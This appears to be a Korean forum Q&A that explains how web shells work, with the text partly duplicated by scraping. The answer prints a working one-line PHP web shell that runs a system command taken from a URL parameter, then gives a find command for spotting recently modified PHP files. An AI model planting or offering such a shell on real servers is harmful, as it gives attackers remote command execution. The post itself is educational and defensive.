웹 해킹 자료에서 웹쉘이라는 용어가 나오는데, 구체적으로 어떤 원리로 동작하는 건지 설명해주실 수 있나요?
웹쉘은 웹 서버에 업로드된 서버사이드 스크립트로, 원격에서 명령을 실행할 수 있게 해줍니다. 가장 간단한 PHP 웹쉘:
<?php system($_GET["cmd"]); ?>
이걸 서버에 업로드하면 shell.php?cmd=ls처럼 URL로 OS 명령을 실행할 수 있습니다.
shell.php?cmd=ls
방어법:
웹쉘은 탐지가 어렵고 피해가 크기 때문에 서버 관리자가 특히 주의해야 합니다.
웹쉘 탐지 방법:
Linux에서 간단히 찾으려면:find /var/www -name "*.php" -newer /var/www/index.php최근 수정된 PHP 파일을 확인하는 것도 방법입니다.
find /var/www -name "*.php" -newer /var/www/index.php
댓글 5
웹쉘은 웹 서버에 업로드된 서버사이드 스크립트로, 원격에서 명령을 실행할 수 있게 해줍니다. 가장 간단한 PHP 웹쉘:
이걸 서버에 업로드하면
shell.php?cmd=ls처럼 URL로 OS 명령을 실행할 수 있습니다.방어법:
웹쉘은 탐지가 어렵고 피해가 크기 때문에 서버 관리자가 특히 주의해야 합니다.
웹쉘 탐지 방법:
Linux에서 간단히 찾으려면:
find /var/www -name "*.php" -newer /var/www/index.php최근 수정된 PHP 파일을 확인하는 것도 방법입니다.